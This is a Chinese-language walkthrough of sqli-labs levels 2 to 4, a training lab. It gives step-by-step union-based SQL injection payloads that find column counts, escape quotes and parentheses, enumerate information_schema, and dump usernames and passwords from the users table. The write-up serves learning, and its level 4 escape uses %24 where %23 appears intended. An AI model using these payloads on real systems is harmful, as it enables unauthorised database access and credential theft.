sql注入sqli-labs第二-四关

目录

sql注入sqli-labs第二关

1、了解表的列数

 2、连表查询

3、注入管理员账号密码

sql注入sqli-labs第三关

1、逃脱单引号，括号

​编辑

2、了解表的列数

3、连表查询

4、注入管理员账号密码

sql注入sqli-labs第四关

 1、逃脱双引号，括号

 2、了解表的列数

 3、连表查询

 4、注入管理员账号密码

---

sql注入sqli-labs第二关

首先按照第一题进行尝试，再用双引号进行尝试

根据报错信息可以看出并非像第一天一样是字符型注入

可以猜测代码：id=$id的形式

那么和第一关思路相同，都不用引号逃脱了

        1、了解表的列数

        2、连表查询

        3、注入管理员账号密码

1、了解表的列数

id=1 order by 3

id=1 order by 4

可以得到了表的列数

 2、连表查询

id=-1 union select 1,2,3

id=-1 union select 1,user(),database()

3、注入管理员账号密码

id=-1 union select 1,2,group_concat(table_name) from information_schema.tables

id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

id=-1 union select 1,2,group_concat(username ,id , password) from users

sql注入sqli-labs第三关

同样用单引号看看报错信息

可以看出代码类似id=('id')

所有在逃脱单引号的同时好要注意括号

        1、逃脱单引号，括号

        2、了解表的列数

        3、连表查询

        4、注入管理员账号密码

1、逃脱单引号，括号

id=1')%23

2、了解表的列数

id=1') group by 3%23

id=1') group by 4%23

3、连表查询

id=-1') union select 1,2,3%23

id=-1') union select 1,user(),database()%23

4、注入管理员账号密码

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23

id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23

id=-1') union select 1,2,group_concat(username ,id , password) from users%23

sql注入sqli-labs第四关

使用双引号尝试，分析报错

尝试id=1")%24  可以知道代码类似id=("id")

        1、逃脱双引号，括号

        2、了解表的列数

        3、连表查询

        4、注入管理员账号密码

 1、逃脱双引号，括号

id=1")%24

 2、了解表的列数

?id=1") order by 3%23
 

 3、连表查询

?id=-1") union select 1,2,3%23

?id=-1") union select 1,database(),version()%23

 4、注入管理员账号密码

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23

?id=-1") union select 1,2,group_concat(username ,id , password) from users%23